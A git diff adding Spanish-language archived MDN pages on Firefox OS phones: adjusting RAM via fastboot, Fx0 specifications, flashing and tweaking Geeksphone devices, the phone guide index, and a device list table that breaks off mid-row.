+<p>Las herramientas <a href="/en-US/Firefox_OS/Using_the_App_Manager">App Manager</a> y <a href="/en-US/docs/Tools/WebIDE">WebIDE</a> hacen <span id="result_box" lang="es"><span class="hps">que sea fácil instalar</span> <span class="hps">aplicaciones</span> <span class="hps">a su teléfono</span><span>,</span> <span class="hps">para pruebas,</span> <span class="hps">etc.</span></span></p>
+
+<h2 id="Ajuste_de_RAM">Ajuste de RAM</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Puede ajustar la</span> <span class="hps">capacidad de</span> <span class="hps">la memoria RAM disponible</span> <span class="hps">para ver</span> <span class="hps">cómo las aplicaciones</span> <span class="hps">funcionan</span> <span class="hps">en los teléfonos</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">con</span> <span class="hps">capacidad de memoria</span> <span class="hps">más bajos.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Esto se logra</span> <span class="hps">mediante la introducción al</span> <span class="hps">modo</span> <span class="hps">fastboot</span></span> (primero instale fastboot, <span class="short_text" id="result_box" lang="es"><span class="hps">que está disponible</span> <span class="hps">en la misma página</span> <span class="hps">SDK</span> <span class="hps">como</span></span> <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a>) <span class="short_text" id="result_box" lang="es"><span class="hps">y ejecute:</span></span></p>
+
+<pre class="brush: bash">adb reboot bootloader
+fastboot oem mem [0|256-1024]</pre>
+
+<p>“0” <span class="short_text" id="result_box" lang="es"><span class="hps">es</span> <span class="hps">la memoria</span> <span class="hps">detectada automáticamente y</span></span> “256-1024” es el número en megabytes (MB). Por ejemplo, <span id="result_box" lang="es"><span class="hps">si </span><span class="hps">deseas usar 512 MB de memoria RAM debes usar este comando:</span></span><br>
+ <code>fastboot oem mem 512</code>.</p>
+
+<p><span id="result_box" lang="es"><span class="hps">Luego tendrás que</span> <span class="hps">reiniciar el dispositivo</span> <span class="hps">para que los cambios</span> <span class="hps">surtan efecto.</span> <span class="hps">Esto se puede hacer</span> <span class="hps">usando:</span></span></p>
+
+<pre class="brush: bash">fastboot reboot</pre>
+
+<p><span id="result_box" lang="es"><span class="hps">El</span> <span class="hps">tamaño de la memoria</span> <span class="hps">actual</span> <span class="hps">puede ser restaurado</span> <span class="hps">entrando en el modo</span> <span class="hps">fastboot</span> <span class="hps">y escribiendo:</span></span></p>
+
+<pre class="brush: bash">fastboot getvar mem
+</pre>
diff --git a/files/es/archive/b2g_os/phone_guide/fx0/index.html b/files/es/archive/b2g_os/phone_guide/fx0/index.html
new file mode 100644
index 0000000000..5decb58319
--- /dev/null
+++ b/files/es/archive/b2g_os/phone_guide/fx0/index.html
@@ -0,0 +1,51 @@
+---
+title: Fx0
+slug: Archive/B2G_OS/Phone_guide/Fx0
+tags:
+  - Firefox OS
+  - Fx0
+  - KDDI
+  - Phone
+  - consumer
+translation_of: Archive/B2G_OS/Phone_guide/Fx0
+---
+<div class="column-container">
+<div class="column-half"><img alt="" src="https://mdn.mozillademos.org/files/9835/fx0.png" style="display: block; height: 439px; margin-bottom: 20px; margin-right: 50px; margin: 0 auto; width: 200px;"></div>
+
+<div class="column-half">
+<p><span id="result_box" lang="es"><span class="hps">El</span> <span class="hps">Fx0</span> <span class="hps">es un teléfono inteligente</span> <span class="hps">de consumo</span> <span class="hps">de gama alta</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>,</span> <span class="hps">y marca el</span> <span class="hps">primer lanzamiento</span> <span class="hps">de teléfonos</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">en Japón.</span> <span class="hps">Fue lanzado por</span> <span class="hps">KDDI</span> <span class="hps">en</span> <span class="hps">diciembre de 2014.</span></span></p>
+
+<h2 id="Obtener_un_dispositivo">Obtener un dispositivo</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">El</span> <span class="hps">Fx0</span> <span class="hps">está disponible</span> <span class="hps">para comprar</span> <span class="hps">a través de canales</span> <span class="hps">minoristas japoneses</span> <span class="hps">estándar.</span> <span class="hps">Es un dispositivo</span> <span class="hps">SIM</span><span class="atn">-</span><span>bloqueado,</span> <span class="hps">por lo que sólo</span> <span class="hps">puede ser utilizado en</span> <span class="hps">Japón.</span></span></p>
+
+<h2 id="Actualizando_el_software">Actualizando el software</h2>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">La imágen del sistema</span> <span class="hps">del</span> <span class="hps">dispositivo está bloqueada</span></span>, <span id="result_box" lang="es"><span class="hps">por lo que sólo</span> <span class="hps">puede actualizarse el</span> <span class="hps">software cuando el</span> <span class="hps">operador de la red</span> <span class="hps">publica una actualización</span> <span class="hps">OTA</span></span>. <span id="result_box" lang="es"><span class="hps">La imagen del sistema</span> <span class="hps">del dispositivo está basada en</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">2.0</span><span>.</span></span></p>
+</div>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Usted</span> <span class="hps">puede encontrar más de</span> <span class="hps">las especificaciones del dispositivo</span> <span class="hps">que aparecen en</span> <span class="hps">nuestra página</span></span> <a href="/en-US/Firefox_OS/Phone_guide/Phone_specs">Phone and device specs</a>.</p>
+
+<h3 id="Hardware">Hardware</h3>
+
+<ul>
+ <li><strong>CPU</strong>: Qualcomm Snapdragon S4 MSM8926 1.2GHz <span class="short_text" id="result_box" lang="es"><span class="hps">cuatro nucleos</span></span></li>
+ <li><strong>Camera</strong>: <span class="short_text" id="result_box" lang="es"><span class="hps">8</span> <span class="hps">megapíxeles</span> <span class="hps">frontal</span><span>,</span> <span class="hps">2.1</span> <span class="hps">megapíxeles</span></span> posterior</li>
+ <li><strong>Batería</strong>: 2,370mAh</li>
+ <li><strong>Pantalla</strong>: 4.7"/IPS</li>
+ <li><strong>Resolución</strong>: 1280 x 720</li>
+ <li><strong>Memoria interna</strong>: 16GB ROM, 1.5GB RAM   </li>
+ <li><strong>Memoria externa</strong>: microSDXC (64GB max.)</li>
+ <li><strong>Tamaño</strong>: 70x139x10.5 mm</li>
+ <li><strong>Peso</strong>: Approx. 148g</li>
+</ul>
+
+<h2 id="Vea_también"><span class="short_text" id="result_box" lang="es"><span class="hps">Vea también</span></span></h2>
+
+<ul>
+ <li><a href="http://au-fx.kddi.com/eng/">Official KDDI Fx0 information portal</a></li>
+ <li><a href="https://blog.mozilla.org/blog/2014/12/22/mozilla-and-kddi-launch-first-firefox-os-smartphone-in-japan/">Official Mozilla blog annoucement</a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/phone_guide/geeksphone/index.html b/files/es/archive/b2g_os/phone_guide/geeksphone/index.html
new file mode 100644
index 0000000000..e4cc268f49
--- /dev/null
+++ b/files/es/archive/b2g_os/phone_guide/geeksphone/index.html
@@ -0,0 +1,124 @@
+---
+title: Geeksphone
+slug: Archive/B2G_OS/Phone_guide/Geeksphone
+tags:
+  - Firefox OS
+  - Gaia
+  - Geeksphone
+  - Tutorial
+  - Update
+  - actualizacion
+translation_of: Archive/B2G_OS/Phone_guide/Geeksphone
+---
+<div class="summary">
+ <h5 id="Ediciones_Developer_Preview_de_teléfonos_Firefox_OS_se_están_convirtiendo_en_una_amplia_difusión_entre_la_comunidad_principalmente_a_través_de_Geeksphone._Dado_que_estos_son_para_desarrolladores_naturalmente_queremos_que_testees_y_juegues_con_ellos_lo_mas_posible!_En_este_articulo_se_cubriran_algunos_tips_básicos_sobre_comó_mantener_el_telefono_actualizado_y_como_ajustar_las_aplicaciones_del_sistema_Gaia."><span class="seoSummary"><span id="result_box" lang="es"><span class="hps">Ediciones</span> <span class="hps">Developer</span> <span class="hps">Preview</span> <span class="hps">de</span> <span class="hps">teléfono</span>s <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">se están convirtiendo en</span> <span class="hps">una amplia difusión entre</span> <span class="hps">la comunidad</span><span>,</span> <span class="hps">principalmente a través de</span></span> <a href="http://www.geeksphone.com/">Geeksphone</a>. Dado que estos son para desarrolladores, naturalmente queremos que testees y juegues con ellos lo mas posible! En este articulo se cubriran algunos tips básicos sobre comó mantener el telefono actualizado y como ajustar las aplicaciones del sistema Gaia. </span></h5>
+</div>
+<h5 id="(Nota_Estas_instrucciones_son_para_los_viejos_modelos_Keon_y_Peak_no_necesariamente_para_el_ultimo_telefono_Geeksphone_Revolution)">(Nota: Estas instrucciones son para los viejos modelos Keon y Peak, no necesariamente para el ultimo telefono Geeksphone Revolution)</h5>
+<p> </p>
+<h2 id="Actualizando_tu_Geeksphone_a_las_últimas_versiones">Actualizando tu Geeksphone a las últimas versiones</h2>
+<p>Las actualizaciones de Firefox Os pueden ser descargadas desde la aplicación Configuración, que se encuentra bajo información del Dispositivo. Puede configurarse el dispositivo para que cheque por actualizaciones diriamente, semanalmente o  mensualmente. Además se proporciona un botón "checar ahora". Cuando hay una actualización disponible se le pedira que descargue e instale la versión actual.</p>
+<p><img alt="The screen for checking updates on the Firefox OS settings app" src="https://mdn.mozillademos.org/files/6051/checkupate.png" style="width: 318px; height: 478px; display: block; margin: 0px auto;"></p>
+<h2 id="Flasheando_su_teléfono">Flasheando su teléfono</h2>
+<p>El equipo de Geeksphone también ofrece la última versión estable y nightly build como descargas autonomas para flasear tu telefono.</p>
+<h3 id="Configure_su_teléfono_y_computadora">Configure su teléfono y computadora</h3>
+<p>Antes de intentar flashear su teléfono asegurese de que ha realizado las configuraciones descritas en la sección "Configuración del dispositivo Geeksphone" en <a href="https://hacks.mozilla.org/2013/05/pushing-firefox-os-apps-to-the-geeksphone/" style="line-height: 1.572;"> Instalando Apps Firefox OS al Geeksphone</a><span style="line-height: 1.572;">.</span> Esto le asegurara que puede transferir datos a su teléfono. En esa misma sección, siga las instrucciones y asegurese que cuenta con los drivers USB correctos.</p>
+<div class="note">
+ <p><strong>Nota:</strong> Es particularmente importante en las computadoras Windows esten configuradas con los drivers USB correctos.</p>
+</div>
+<p>Las imagenes estan localizadas en <a href="http://downloads.geeksphone.com/">el sitio de descarga de Geeksphone.</a> En este sitio se le presentaran varias opciones para seleccionar su dispositivo y que tipo de imagen desea utilizar.</p>
+<p><img alt="Two phone images side by side, the Geeksphone Keon and Peak, with different software download options below each one." src="https://mdn.mozillademos.org/files/6055/geeksphone-download.png" style="width: 530px; height: 486px; display: block; margin: 0px auto;"></p>
+<p>Descarge la imagen que usara y extraiga el archivo en su sistema de archivos. El archivo contiene imagenes y comandos requeridos para flashear el teléfono usando Windows, Mac OS, o Linux. Antes de empezar a flashear el teléfono asegúrese de que tiene habilitada la depuración remota en el teléfono. Esta opción puede ser habilitada lanzando la aplicación Configuraciones y navegando a <code>Informació del dispositivo -&gt; Mas información -&gt; Desarrollador.</code> Asi mismo, no intente flashear el dispositivo si la batería tiene menos del 50% de carga.</p>
+<p><img alt="Enabling remote debugging on the Firefox OS Settings app" src="https://mdn.mozillademos.org/files/6049/remote-debugging.png" style="width: 320px; height: 480px; display: block; margin: 0px auto;"></p>
+<div class="note">
+ <p><strong>Nota:</strong> Si tu dispositivo no se encuentra con el script de los siguientes pasos, incluso si esta conectado via USB, tendrás que desbloquear tu teléfono y esperar a que aparezca en el sistema.</p>
+</div>
+<div class="note">
+ <p><strong>Nota:</strong> "Flashear" el teléfono eliminara todos los datos en el. Si deseas hacer un respaldo de tus datos y restaurarlos despues, sigue las siguientes instrucciones en <span style="line-height: 1.5;"> </span><a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition">Copia de seguridad de la partición del sistema del teléfono</a><span style="line-height: 1.5;">.</span></p>
+</div>
+<h3 id="Windows">Windows</h3>
+<div class="note">
+ <p><strong>Nota:</strong> Puede que tenga la necesidad de instalar los drivers USB en Windows. Para obtener estas instrucciones vea la sección<span style="line-height: 1.572;"> "Configuración del dispositivo Geeksphone" en <a href="https://hacks.mozilla.org/2013/05/pushing-firefox-os-apps-to-the-geeksphone/" style="line-height: 1.572;"> Instalando Apps Firefox OS al Geeksphone</a><span style="line-height: 1.572;">.</span></span></p>
+</div>
+<p>Abra una linea de comandos(<code>inicio -&gt; escriba cmd in la busqueda -&gt; enter </code>en Windows 7, <code>tecla de window + X -&gt; seleccionar linea de comandos</code> en Windos 8) y dirigete a la ruta del directorio donde se encuentran los archivos extraidos con  cd "ruta del directorio". Enter:</p>
+<pre class="brush: bash" lang="bash">flash.bat
+</pre>
+<p>Esto instalara la nueva imagen en el teléfono. El teléfono necesitara ser configurado nuevamente ya que todos los datos habrán sido borrados.</p>
+<h3 id="Mac_OS">Mac OS</h3>
+<p>Abra una ventana de Terminal (<code>Cmd + espacio -&gt; escriba terminal -&gt; enter</code>) y dirijase a la ruta del directorio que contiene los archivos extraidos. Enter:</p>
+<pre class="brush: bash" lang="bash">./flash_mac.sh
+</pre>
+<p>Esto instalara la nueva imagen en el teléfono. El teléfono necesitara ser configurado nuevamente ya que todos los datos habrán sido borrados.</p>
+<h3 id="Linux">Linux</h3>
+<p>Para flashear un Keon desde Ubuntu hay que agregar la siguientes reglas a /etc/udev/rules.d/51-android.rules</p>
+<div>
+ SUBSYSTEM=="usb", ATTR{idVendor}=="05c6", ATTR{idProduct}=="8013", MODE="0666"</div>
+<div>
+ SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="d00d", MODE="0666"</div>
+<div>
+  </div>
+<p>Abra una ventana de Terminal (control-alt-t en Ubuntu) y dirijase al directorio que contiene los archivos extraidos. Enter:</p>
+<pre class="brush: bash" lang="bash">./flash.sh
+</pre>
+<p>Esto instalara la nueva imagen en el teléfono. El teléfono necesitara ser configurado nuevamente ya que todos los datos habrán sido borrados.</p>
+<p>Esto debe flashear la nueva imagen en el teléfono. El teléfono debera configurarse de nuevo ya que toda la información ha sido borrada. Si quiere tener un respaldo de su información y restaurarla despues, puede seguir las instrucciones en <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition">Respaldo del sistema de partición del teléfono.</a></p>
+<div class="note">
+ <p><strong>Otra forma de "Flashear" el Keon usando Ubuntu es de la siguiente manera:</strong></p>
+</div>
+<p>Paso 1: Conecta el dispositivo</p>
+<p>Paso 2: Abre la Terminal</p>
+<p>Paso 3: Escribe el comando <em>sudo nautilus</em>, escribe tu contraseña de Root para abrir el sistema de ficheros</p>
+<pre class="brush: bash language-html" lang="bash"><code class="language-bash"><span class="st"><em>sudo nautilus</em></span></code></pre>
+<p>Paso 4: Pega la carpeta de Firefox O.S Geeks Phone Build en el directorio</p>
+<p>Paso 5: Haz click en el archivo llamado "flash.sh"</p>
+<pre class="brush: bash language-html" lang="bash"><code class="language-bash">./flash.sh</code></pre>
+<h2 id="Si_tiene_un_'unagi'_o_un_teléfono_developer_preview_que_no_sea_un_Geeksphone">Si tiene un 'unagi' o un teléfono developer preview que no sea un Geeksphone</h2>
+<p>Si usted cuenta con un teléfono de desarrollador y no es Geeksphone como un 'unagi' o un dispositivo basado en Android, tal vez necesite realizar los siguientes pasos. Si este no es el caso, por favor siga a la siguiente sección.</p>
+<p>Usted necesitara instalar el <strong>adb </strong>y <strong>fastboot</strong>. Estas utilidades se pueden enconrar en el Kid de herramientas de desarrollo Android (ADT).</p>
+<p>No es necesario instalar todo el kit de desarrollo. Descargue el kit de desarrollo desde aqui y extraiga el contenido. Adb y fastboot se encuentrar en el directorio /platform-tools/carpeta. Estos pueden ser copiados a /usr/bin en Linux o Mac OS, o copiados en alguna carpeta siempre y cuando se especifique el $PATH de los binarios agregados.</p>
+<p>Si usted esta tratando de flashear su dispositivo y tiene otro conectado via USB, su teléfono posiblemente no sea detectado por las utilidades correctamente. Solamente tenga conectado su teléfono mientras intente flashearlo.</p>
+<h2 id="Afinando_Gaia">Afinando Gaia</h2>
+<p>Si usted es parte de la industria, usted puede adaptar las aplicaciones por default en Gaia - la UI en Firefox OS. En esta sección se cubrira algunos aspectos básicos para clonar Gaia y hacer cambios en las aplicaciones por default del sistema. Tenga en cuenta que estos consejos son "bajo su propio riesgo" y pueden involucrar la sección "Ok, he brickeado mi teléfono". Antes de proceder, este seguro de tener instalado adb y fastboot en su sistema. Para verificar que los tiene instalado abra una ventana de Terminal y escriba   <code>adb devices</code>   con su dispositivo conectado. Usted deberia ver su teléfono listado bajo los dispositivos conectados.</p>
+<p>Usted tambien puede correr fastboot desde terminal. Si usted corre fastboot, se debera mostrar un conjunto de opciones. Si usted no tiene instalado adb o fastboot, una busqueda rapida en Google con su sistema operativo volvera varios resultados sobre como instalarlos. Adicionalmente a adb y fastboot usted necesitara tener Git. Si no tiene instalado Git, de un vistazo a esta <a href="https://help.github.com/articles/set-up-git">guia de configuració</a>. Finalmente asegurese de que su teléfono esta configurado para la depuración remota, paso descrito en la sección previa.</p>
+<p>Una vez que tenga todos los prerequisitos abra una terminal y dirijase al directorio donde le gustaría clonar el código fuente de Gaia. Escriba el siguiente comando:</p>
+<pre class="brush: bash" lang="bash">git clone git://github.com/mozilla-b2g/gaia.git gaia
+cd gaia
+</pre>
+<p>Esto clonara la ultima versión del código de Gaia en su sistema.</p>
+<div class="warning">
+ <p>Si su plan es subir cambios de regreso al código de Gaia, asegurese de hacer un fork del codigo antes de clonar como se describe en <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Hacking">Hacking Gaia</a>.</p>
+</div>
+<p>Recientemente el Geeksphone Keon ustiliza la rama v1.0.1 del código de Gaia, así que asigne la rama adecuada con el siguiente comando antes de hacer cualquier otra cosa:</p>
+<pre class="brush: bash" lang="bash">git checkout -b v1.0.1 origin/v1.0.1
+</pre>
+<p>La mayor parte de las aplicaciones del sistema estan localizadas en el subdirectorio de aplicaciones de Gaia. Usted ahora puede hacer cualquier cambio que desee en las aplicaciones de Firefox OS. Una vez que haya hecho los cambios, asegurese que su dispositivo ha sido montado apropiadamente usando el siguiente comando:</p>
+<pre class="brush: bash">adb remount</pre>
+<p>A continuación, ejecute el siguiente comando para hacer push de las aplicaciones modificadas en su teléfono. Esto hará push por defecto a todas las apps del teléfono:</p>
+<pre class="brush: bash" lang="bash">B2G_SYSTEM_APPS=1 make install-gaia
+</pre>
+<p>Si sólo hizo cambios en una sola app puedes especificar los cambios de esta usando una sintaxis similar. En este ejemplo sólo la aplicación de calendario sera instalada en el teléfono:</p>
+<pre class="brush: bash" lang="bash">APP=calendar B2G_SYSTEM_APPS=1 make install-gaia
+</pre>
+<p>Si tiene problemas mientras hace los cambios, puede reiniciar el teléfono a los valores por defecto usando los siguientes comandos:</p>
+<pre class="brush: bash" lang="bash">make production
+make reset-gaia
+</pre>
+<div class="note">
+ <p><strong>Nota</strong>: Tenga en cuenta que cualquiera de los comandos anteriores limpiaran cualquier dato o aplicación lanzada en el teléfono. Si quiere hacer un respaldo de su información y restaurarla después, debe seguir las instrucciones en el apartado de <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition">Copia de seguridad de la partición del sistema del teléfono </a>.</p>
+</div>
+<h2 id="Ok_he_bloqueado_mi_teléfono">"Ok, he bloqueado mi teléfono"</h2>
+<p>Si esta en el proceso de modificación de su teléfono y "no responde" debería ser capaz de recuperarlo usando fastboot con un simple procedimiento. A continuación se ilustra como reestablecer el Keon pero con otros teléfonos el proceso debería ser similar. También necesitara verificar si tiene instalado fastboot.</p>
+<p>Primero retire el cable USB y después remueva la batería del teléfono por 30 segundos. Entonces reinserte la batería y presiones el botón de bajar volumen  mientras mantiene el botón de encendido por unos cuantos segundos. A continuación reconecte el cable USB y ejecute los siguientes comandos desde una ventana de Terminal en el directorio que contiene los ultimos archivos img descritos en la primera sección de este post:</p>
+<pre class="brush: bash" lang="bash">fastboot flash recovery recovery.img
+fastboot flash boot boot.img
+fastboot flash userdata userdata.img
+fastboot flash system system.img
+fastboot reboot
+</pre>
+<p>Este proceso debera recuperar su teléfono. Si no funciona, es posible que tenga que  intentar una segunda vez.</p>
+<h2 id="A_jugar!">A jugar!</h2>
+<p>Esperamos que estas instrucciones te sean utiles, y naturalmente queremos que seas feliz con Firefox OS y las posibilidades que somos! Sientete libre de jugar con las actualizaciones de tu dispositivo, de hacer cambios/actualizaciones de las aplicaciones Gaia, y también sientete inspirado de construir tus propias Open Web Apps.</p>
+<h2 id="Ver_también">Ver también</h2>
+<ul>
+ <li><a href="/en-US/Firefox_OS/Developer_phone_guide/Geeksphone/Geeksphone_FAQ">Geeksphone FAQ</a></li>
+ <li><a href="/en-US/Apps/Quickstart/Build/Intro_to_open_web_apps">Introducción a la web abierta</a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/phone_guide/index.html b/files/es/archive/b2g_os/phone_guide/index.html
new file mode 100644
index 0000000000..6047637215
--- /dev/null
+++ b/files/es/archive/b2g_os/phone_guide/index.html
@@ -0,0 +1,43 @@
+---
+title: Guía de Desarrollo en Firefox OS
+slug: Archive/B2G_OS/Phone_guide
+tags:
+  - B2G
+  - Firefox OS
+  - desarrollo
+  - telefonos
+translation_of: Archive/B2G_OS/Phone_guide
+---
+<div class="summary">
+ <p>Esta sección contiene información relevante para el desarrolladores sobre las especificaciones de los teléfonos que ejecutan Firefox OS. Tenemos información general disponible en <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS" title="Building and installing Firefox OS">Construir e instalar Firefox OS</a> y <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Hacking_Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS/Hacking_Firefox_OS">Hacking Firefox OS</a>, así que por favor vaya por la información acerca de construir e instalar la plataforma desde cero. Sin embargo, los desarrolladores que posean teléfonos especificos de desarrollo pueden encontrar los siguientes articulos de gran ayuda.</p>
+</div>
+<h2 id="Información_especifica_del_dispositivo">Información especifica del dispositivo</h2>
+<dl>
+ <dt>
+  <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Phones">Datos del teléfono Firefox OS</a></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">En este artículo</span> <span class="hps">enumeramos los</span> <span class="hps">distintos teléfonos</span> <span class="hps">disponibles</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>, junto con</span> <span class="hps">información como</span> <span class="hps">sus</span> <span class="hps">nombres en clave</span><span>, la disponibilidad y</span> <span class="hps">características de hardware</span> <span class="hps">específicos.</span></span></dd>
+ <dt>
+  <a href="https://developer.mozilla.org/en-US/Firefox_OS/Developer_phone_guide/Geeksphone">Geeksphone</a></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">En este artículo vamos</span> <span class="hps">a cubrir</span> <span class="hps">algunos consejos básicos sobre</span> <span class="hps">cómo mantener su</span> <span class="hps">Geeksphone</span> <span class="hps">hasta a</span> <span class="hps">la fecha y</span> <span class="hps">la forma de</span> <span class="hps">modificar</span> <span class="hps">el sistema de</span> <span class="hps">aplicaciones de</span> <span class="hps">Gaia</span><span>.</span> </span></dd>
+ <dt>
+  <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/ZTE_OPEN">El ZTE OPEN Firefox OS </a></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Este</span> <span class="hps">artículo es para compartir</span> <span class="hps">la información que tenemos</span> <span class="hps">disponible del dispositivo</span> <span class="hps">ZTE</span> <span class="hps">OPEN</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>.</span></span></dd>
+</dl>
+<h2 id="Información_general_de_Firefox_OS">Información general de Firefox OS</h2>
+<dl>
+ <dt>
+  <a href="https://developer.mozilla.org/en-US/Firefox_OS/Developer_phone_guide/Firefox_OS_device_features">Información general de las caracteristicas </a></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Esta página</span> <span class="hps">muestra las características</span> <span class="hps">típicas</span> <span class="hps">de hardware</span> <span class="hps">Firefox</span> <span class="hps">OS y los</span> <span class="hps">requisitos mínimos de hardware</span><span>.</span> </span></dd>
+ <dt>
+  <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Troubleshooting"><span id="result_box" lang="es"><span class="hps">Solución de problemas</span> </span></a></dt>
+ <dd>
+  <span id="result_box" lang="es"><span class="hps">Este artículo proporciona</span> <span class="hps">consejos</span> <span class="hps">para la solución de</span> <span class="hps">problemas comunes que</span> <span class="hps">pueden surgir al utilizar</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>.</span> </span></dd>
+ <dt>
+  <a href="https://developer.mozilla.org/en-US/Firefox_OS/Developer_phone_guide/Best_practices_open_reference_devices"><span id="result_box" lang="es"><span class="hps">Mejores prácticas para</span> <span class="hps">dispositivos abiertos de referencia</span></span></a></dt>
+ <dd>
+  Un conjunto de mejores prácticas que creemos y recomendamos para cualquier dispositivo de referencia abierto. Todas las recientes referencias de dispositivos Firefox OS siguen estas prácticas.</dd>
+</dl>
diff --git a/files/es/archive/b2g_os/phone_guide/lista_dispositivos/index.html b/files/es/archive/b2g_os/phone_guide/lista_dispositivos/index.html
new file mode 100644
index 0000000000..86ac8aba87
--- /dev/null
+++ b/files/es/archive/b2g_os/phone_guide/lista_dispositivos/index.html
@@ -0,0 +1,712 @@
+---
+title: Lista de Dispositivos
+slug: Archive/B2G_OS/Phone_guide/lista_dispositivos
+tags:
+  - B2G
+  - Dispositivos
+  - Especificaciones
+  - Firefox OS
+  - Guia(2)
+  - Guía
+  - Móvil
+  - Telefono
+  - movil(2)
+translation_of: Archive/B2G_OS/Phone_guide/Phone_specs
+---
+<div class="summary">
+<p><span class="seoSummary">Este artículo entrega información acerca de los dispositivos disponibles con Firefox OS. Incluye además las especificaciones del Hardware, nombres clave, la versión de Firefox OS con la que fue lanzado al mercado y mucho más.</span></p>
+</div>
+
+<h2 id="Dispositivos_con_Firefox_OS_disponibles">Dispositivos con Firefox OS disponibles</h2>
+
+<p>Durante el desarrollo de Firefox OS hemos tenido diversos dispositivos para realizar pruebas. Hoy en día con la salida al mercado de Firefox OS contamos con diversos modelos de distintos vendedores.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Para información comercial de los dispositivos que se venden actualmente por favor revisa nuestra página para encontrar <a href="http://www.mozilla.org/en-US/firefox/os/devices/">un dispositivo Firefox OS cerca tuyo</a>.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">
+    <p>Nombre / Nombre Clave</p>
+   </th>
+   <th scope="col">Lanzamiento</th>
+   <th scope="col">Versión FxOS</th>
+   <th scope="col">Disponible</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>Alcatel One Touch Fire</p>
+
+    <p><em>hamachi, buri</em></p>
+   </td>
+   <td>Julio 12, 2013</td>
+   <td>1.0.1</td>
+   <td>Actualmente disponible</td>
+   <td>
+    <p>Disponible publicamente en Brasil, Uruguay, Italia, Alemania, Grecia, Serbia, Hungria y Polonia. Disponible por revendedores en eBay.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Alcatel One Touch Fire E</td>
+   <td>Julio 18, 2014</td>
+   <td>1.3.0</td>
+   <td>Actualmente disponible</td>
+   <td>Disponible publicamente en <a href="http://www.congstar.de/handy/alcatel-one-touch-fire-e-braun/">Alemania</a>.</td>
+  </tr>
+  <tr>
+   <td><em>otoro, unagi, inari</em></td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>off the shelf ZTE phone used for development prior to the ZTE Open.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/ZTE_OPEN">ZTE Open</a></p>
+
+    <p><em>ikura</em></p>
+   </td>
+   <td>Julio 2, 2013</td>
+   <td>1.0.1</td>
+   <td>Actualmente disponible</td>
+   <td>Similar al inari; Publicamente disponible en eBay</td>
+  </tr>
+  <tr>
+   <td>
+    <p>LG Fireweb</p>
+
+    <p><em>leo</em></p>
+   </td>
+   <td>Octubre 24, 2013</td>
+   <td>1.1</td>
+   <td>Actualmente disponible</td>
+   <td>Publicamente disponible en Brasil.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Geeksphone Keon</a></p>
+
+    <p><em>keon</em></p>
+   </td>
+   <td>Abril 24, 2013</td>
+   <td>1.0.1</td>
+   <td>Actualmente agotado</td>
+   <td>Solo para desarrolladores</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Geeksphone Peak</a></p>
+
+    <p><em>peak</em></p>
+   </td>
+   <td>Abril 24, 2013</td>
+   <td>1.0.1</td>
+   <td>Actualmente agotado</td>
+   <td>Was codenamed "twist" for a while; developer-only devices</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Geeksphone Peak+</a></td>
+   <td>-</td>
+   <td>-</td>
+   <td>-</td>
+   <td><a href="http://www.geeksphone.com/?wysija-page=1&amp;controller=email&amp;action=view&amp;email_id=15">cancelado</a></td>
+  </tr>
+  <tr>
+   <td>Geeksphone Revolution</td>
+   <td>Marzo 4, 2014</td>
+   <td>1.3pre</td>
+   <td>Actualmente disponible</td>
+   <td><a href="http://shop.geeksphone.com/moviles/9-revolution.html">Disponible en linea.</a></td>
+  </tr>
+  <tr>
+   <td>
+    <p>LG Google Nexus 4</p>
+
+    <p><em>nexus-4</em></p>
+   </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>Experimental. Not supported by either LG or Google. Discontinued hardware.</td>
+  </tr>
+  <tr>
+   <td>
